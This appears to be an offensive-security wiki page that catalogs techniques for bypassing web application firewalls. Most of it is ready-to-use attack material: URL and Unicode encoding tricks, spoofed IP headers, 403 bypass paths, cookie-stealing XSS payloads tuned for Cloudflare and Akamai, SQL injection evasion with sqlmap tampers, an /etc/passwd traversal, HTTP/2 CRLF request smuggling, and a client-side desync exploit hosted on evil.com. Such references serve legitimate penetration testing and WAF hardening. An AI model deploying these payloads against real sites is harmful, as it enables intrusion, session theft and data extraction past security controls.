WAF Bypass Techniques¶
Evade Web Application Firewalls via encoding tricks, protocol abuse, header injection, and architectural bypasses.
TL;DR¶
# URL encoding bypass (path-based pattern matching)
curl --path-as-is "https://target.com/admin%2fpanel"
# Double encoding
%253Cscript%253E → WAF sees %3Cscript%3E, app decodes to <script>
# Finding real IP behind WAF
dig TXT target.com | grep "v=spf1"
curl -H "Host: target.com" http://REAL_IP/path
WAF Fingerprinting¶
# Passive fingerprinting
wafw00f https://target.com
# Header-based identification
# Cloudflare: cf-ray, cf-cache-status
# Akamai: x-check-cacheable, x-akamai-*
# Checkpoint: x-cp-via
# F5 BIG-IP: BIGipServer* cookie
# AWS WAF: x-amzn-requestid
# Imperva/Incapsula: visid_incap_*, incap_ses_*
URL Encoding & Path Normalization¶
Slash Encoding (%2f)¶
Some WAFs pattern-match on literal path strings but don't normalize URL-encoded characters before matching.
# WAF blocks: /admin/panel
# Bypass:
curl --path-as-is "https://target.com/admin%2fpanel"
# %2f encodes the slash → breaks the literal pattern match
# Backend decodes %2f back to / and routes correctly
# Requires --path-as-is in curl to prevent normalization
Double Encoding¶
WAF decodes once; application decodes again.
%253C → WAF decodes to %3C → app decodes to <
%2526 → WAF decodes to %26 → app decodes to &
%252f → WAF decodes to %2f → app decodes to /
# XSS double-encoded
%253Cscript%253Ealert(1)%253C%2fscript%253E
# SQLi double-encoded
1%2520UNION%2520SELECT%25201--
# Path traversal
%252e%252e%252f%252e%252e%252fetc%252fpasswd
Tab and Special Characters¶
# Null byte
/admin%00/panel # Some WAFs stop at null
/admin%00.jpg # Extension bypass
# Tab character
/admin%09/panel
# Semicolon
/admin;/panel # Java/Spring treat ; as path param separator
# Dot segments
/./admin/panel
/admin/./panel
//admin/panel # Double slash (nginx often passes to backend)
# Mixed case (case-sensitive routes on case-insensitive WAF)
/Admin/Panel
/ADMIN/panel
Unicode and Fullwidth Characters¶
Windows/IIS with ANSI codepage converts Unicode to ASCII equivalents. Bypasses both WAF and server-side filters.
Fullwidth:
/ (U+FF0F) → /
.(U+FF0E) → .
\(U+FF3C) → \
Confusables:
a (U+FF41) → a
s (U+FF53) → s
Path traversal with Unicode:
../../etc/passwd
Reference tool: https://worst.fit/mapping/
Header Injection Bypasses¶
IP Spoofing Headers¶
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Originating-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
When useful
WAF rules that whitelist "internal" IP ranges may be bypassed by spoofing localhost in these headers if the WAF trusts them without validation.
URL Override Headers¶
False positives
X-Original-URL / X-Rewrite-URL often return CDN-cached content, not the actual protected resource. Verify the response is real (different ETag/content) before claiming a bypass.
403 Bypass Patterns¶
# Path variations
/secret → /./secret
/secret → /secret/.
/secret → /secret%20
/secret → /secret%09
/secret → /;/secret
/secret → /secret..;/
/secret → //secret
# Method override
POST /secret HTTP/1.1
X-HTTP-Method-Override: GET
XSS Payload Bypasses¶
Cloudflare¶
<!-- Mixed case -->
<Img Src=OnXSS OnErroR=confirm(document.cookie)>
<!-- SVG variants -->
<svg onload=prompt%26%230000000040document.domain)>
<svg on onload=(alert)(document.domain)>
<svg onx=() onload=window.alert?.()>
<!-- Unicode null in event name -->
"onx+%00+onpointerenter%3dalert(domain)+x"
<!-- Iframe srcdoc with entities -->
<iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
<!-- Import from decimal IP -->
<img src=x onError=import('//1152848220/')>
<!-- content-visibility event -->
<input type="hidden" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto">
<!-- Backtick template string -->
<svg/OnLoad="`${prompt``}`">
<!-- Tab-broken javascript: URL -->
<a href="j	a	v	asc
ri	pt:(alert(document.domain))">X</a>
Akamai¶
<!-- MathML + tab entities (Firefox) -->
<math><archy href=Ja	vascript:console.error(1)>ARCHY</archy></math>
<!-- details/ontoggle -->
<details ontoggle=print() open>payload</details>
<!-- onbeforetoggle with decodeURI wrapper -->
<button popovertarget=x>Click</button><hvita onbeforetoggle=alert() popover id=x>X</hvita>
<!-- Case alternation + URL encoding -->
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
HTML Entity Bypass¶
When a sanitizer checks raw bytes but the browser decodes HTML entities after filtering:
');alert(1)// → browser renders: ');alert(1)//
"onload=alert(1) → browser renders: "onload=alert(1)
' → single quote (bypasses `/'` char class filters)
Use in: innerHTML/postMessage sinks where regex runs before DOM insertion.
SQLi WAF Bypass¶
# sqlmap with tamper scripts
sqlmap -u "https://target.com/?id=1" \
--tamper=between,randomcase,charunicodeencode,space2comment
# Inline comments
1/**/UNION/**/SELECT/**/1,2,user()--
# Case variation
1 UnIoN SeLeCt 1,2,3--
# Whitespace alternatives
1%09UNION%0bSELECT%0d1,2,3--
# Hex encoding
SELECT 0x61646d696e -- → 'admin'
# Boolean-based (avoids UNION detection)
1 AND ASCII(SUBSTRING(database(),1,1)) > 97
GraphQL WAF Bypass¶
# Newline in __schema breaks regex patterns
GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D
# GET instead of POST (avoids POST body inspection)
GET /graphql?query={__schema{queryType{name}}}
# Content-Type switch
Content-Type: application/x-www-form-urlencoded
body: query={__schema{types{name}}}
H2 Downgrade / Request Smuggling Bypass¶
Both Cloudflare and Akamai terminate HTTP/2 and forward HTTP/1.1 internally. CRLF injection in H2 header values creates smuggled requests.
# HTTP/2 request with CRLF in header value
:method GET
:path /
:authority target.com
injected-header: value\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com
- H2 headers are framed (not CRLF-delimited), so CRLF in a value passes to the H1.1 backend as a header separator
- Affected: Cloudflare, Akamai, and most H2-terminating proxies
See Request Smuggling for full exploitation.
IP Rotation & Real IP Discovery¶
Finding Real IP Behind CDN/WAF¶
# SPF/MX records often reveal origin IP
dig TXT target.com | grep "v=spf1"
dig MX target.com
# Historical DNS (pre-CDN)
# SecurityTrails, ViewDNS, PassiveDNS
# Shodan cert search
# ssl.cert.subject.cn:target.com
# Then hit real IP directly
curl -H "Host: target.com" http://REAL_IP/path
Direct IP bypass
If the WAF terminates connections at a virtual IP and the origin accepts direct connections, requests to the origin IP with a Host header bypass WAF rules entirely.
User-Agent & Fingerprint Bypass¶
# WAFs sometimes apply different rules to bots vs browsers
# Headless browser may bypass rules that block curl
# Simulate a browser
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0" \
"https://target.com/protected"
# Random UA in WPScan/Nuclei
wpscan --url https://target.com --random-user-agent
nuclei -u https://target.com -H "User-Agent: Mozilla/5.0..."
ModSecurity / OWASP CRS Bypasses¶
# CRS blocks "UNION SELECT" but not with SQL comments
1 /*!UNION*/ /*!SELECT*/ 1,2,3--
# CRS checks for <script> but not Unicode escapes
<script> → \u003cscript\u003e (bypass in JSON contexts)
# Version-specific: CRS < 3.3.0 misses certain nested contexts
# Always check CRS version in error headers
AWS WAF Bypasses¶
# AWS WAF inspects body up to 8KB — large bodies may skip inspection
# Send payload beyond 8KB offset
python3 -c "print('A'*8192 + 'PAYLOAD')"
# JSON body type confusion (some rules match JSON only)
Content-Type: text/plain
body: {"key": "' OR 1=1--"}
Client-Side Desync → WAF Bypass¶
Host a page on evil.com that causes the victim's browser to desync the target server's connection parser, then redirect them to the target. Bypasses WAF because the smuggled request is never inspected.
// evil.com/exploit.html
fetch('https://target.com/redirect', {
method: 'POST',
body: `HEAD /404/ HTTP/1.1\r\nHost: target.com\r\n\r\nGET /payload?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors'
}).catch(() => { location = 'https://target.com/' })
WAF Bypass Checklist¶
- URL encode slashes in path (
%2f) with--path-as-is - Double encode payloads (
%253C,%252f) - Tab/null byte in path (
%09,%00) - Semicolon path parameter (
;before restricted segment) - IP spoof headers (
X-Forwarded-For: 127.0.0.1) -
X-Original-URL/X-Rewrite-URL(verify it's not a cache false positive) - Real IP discovery (SPF, historical DNS, Shodan cert)
- HTTP/2 CRLF injection in header values
- Large body exceeding WAF inspection limit (AWS WAF 8KB)
- Mixed case in keywords and tags
- SQL comments (
/**/,/*!*/) - Browser headless vs curl difference (different WAF rule sets)
- Alternative Content-Type for body inspection bypass
Tools¶
| Tool | Purpose |
|---|---|
wafw00f |
WAF fingerprinting |
sqlmap --tamper=* |
SQLi evasion |
| Burp Hackvertor | Live encoding transformer |
nuclei -tags bypass |
Automated bypass checks |
| https://worst.fit/mapping/ | Unicode confusables lookup |